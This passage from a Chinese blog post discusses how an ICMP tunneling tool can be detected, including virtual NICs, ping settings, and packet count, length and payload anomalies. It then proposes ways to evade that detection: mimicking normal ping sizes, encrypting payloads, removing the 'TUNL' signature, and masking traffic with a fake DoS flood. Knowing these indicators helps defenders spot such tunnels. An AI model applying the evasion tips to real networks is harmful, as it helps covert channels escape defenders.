    return client(hostname, &options);
}

2、检测与绕过

(1)检测虚拟网卡

无端多了个虚拟网卡,多半是有问题的

这个检测方式是本工具无法回避的

(2)检测ping是否被禁

/proc/sys/net/ipv4/icmp_echo_ignore_all是否为1

本工具如果将目标机视为客户端,则无此问题

(3)异常ICMP数据包数量

如图是ssh连接时,1s内发了20个包左右,还都是指定的IP地址

在这里插入图片描述
似乎也是个无法回避的问题

或许可以反其道而行之,即同时用大量ICMP包和别的包淹没目标机,造成DoS攻击的假象,鱼目混珠,混淆视听,视情况而定

(4)异常ICMP包长度

仍然看上面那张图里

不过这个可以设置限定长度64,切片再拼装

(5)payload内容

比如下面这个是ssh连接
在这里插入图片描述
内容明显古怪
正常ping命令:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

这里混淆加密,会不会好点

(6)TUNL标签

工具作者jamesbarlow师傅的恶趣味
在这里插入图片描述
在源码里改掉就行了

结语

比DhavalKapil师傅的要考虑更多一点,但大差不差

改进考虑:

  • 长度和数量改为类似ping命令
  • 内容混淆加密
  • 把特征字符串删掉
  • 考虑跨平台

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/118898232